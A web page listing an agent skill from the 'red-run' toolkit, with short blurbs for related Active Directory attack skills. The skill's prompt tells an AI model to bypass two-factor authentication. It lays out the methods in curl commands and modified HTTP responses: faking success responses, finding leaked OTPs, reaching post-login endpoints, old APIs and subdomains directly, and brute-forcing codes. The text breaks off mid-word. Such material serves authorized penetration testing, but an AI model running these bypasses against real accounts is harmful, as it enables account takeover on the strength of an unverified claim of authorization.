acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Bypass two-factor authentication (2FA/MFA) during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill 2fa-bypass --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/2fa-bypassContext preview
The summary Claude sees to decide when to auto-load this skill.
Bypass two-factor authentication (2FA/MFA) during authorized penetration testing.
name: 2fa-bypass description: > Bypass two-factor authentication (2FA/MFA) during authorized penetration testing. keywords: - 2fa bypass - mfa bypass - two-factor bypass - otp bypass - otp brute force - 2fa brute force - totp bypass - sms bypass - backup code brute force - 2fa response manipulation - skip 2fa - bypass mfa - second factor bypass - authentication bypass 2fa - the user has found an application with 2FA and wants to test for bypass techniques tools: - burpsuite (Turbo Intruder) - curl - python scripts opsec: medium
You are helping a penetration tester bypass two-factor authentication. The target application requires a second factor (SMS code, TOTP, email code, or backup code) after password authentication. The goal is to access accounts without providing a valid second factor. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
2FA bypass testing involves multi-step form progression — **browser tools handle the login → 2FA flow naturally**.
progression (username/password first, then 2FA code field)
stages (pre-2FA vs post-2FA cookies)
`document.querySelector('form').onsubmit` to check for client-side OTP validation that can be bypassed)
brute-force scripting
Identify the 2FA implementation details.
1. Log in with valid credentials 2. Observe the 2FA prompt — what type of code is requested? 3. Note the endpoint: `/verify-2fa`, `/mfa/verify`, `/otp/check` 4. Submit a valid code and capture the request/response 5. Submit an invalid code and compare
Test if 2FA validation is only enforced client-side.
Intercept the 2FA verification response in Burp:
# Failed 2FA response
HTTP/1.1 403 Forbidden
{"success": false, "error": "Invalid code"}
# Modify to:
HTTP/1.1 200 OK
{"success": true}If the application redirects to the dashboard → 2FA is client-side only.
// Original (failed)
{"authenticated": false, "mfa_verified": false}
// Modified
{"authenticated": true, "mfa_verified": true}# Failed response redirects back to 2FA page HTTP/1.1 302 Found Location: /2fa/verify?error=invalid # Modify redirect to authenticated page HTTP/1.1 302 Found Location: /dashboard
Check if the OTP appears in the response body, headers, or JavaScript:
# Check response for OTP hints curl -s -X POST "https://TARGET/send-otp" \ -H "Cookie: session=VALID_SESSION" \ -d "method=sms" | grep -iE "otp|code|token|verify" # Check JavaScript files for hardcoded codes curl -s "https://TARGET/static/app.js" | grep -iE "otp|code.*=.*[0-9]"
Skip the 2FA page entirely by navigating directly to authenticated pages.
After entering valid credentials (before completing 2FA):
# Try accessing authenticated endpoints directly curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://TARGET/dashboard" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://TARGET/api/user/profile" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://TARGET/account/settings"
If any return authenticated content → 2FA is not enforced on that endpoint.
# Web enforces 2FA, but older API versions might not curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://TARGET/api/v1/user/profile" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://TARGET/api/v2/user/profile" # Mobile API endpoints curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://TARGET/mobile/api/user/profile"
# Different subdomains may not enforce 2FA curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://api.TARGET/user/profile" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \ "https://old.TARGET/dashboard"
Submit n
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…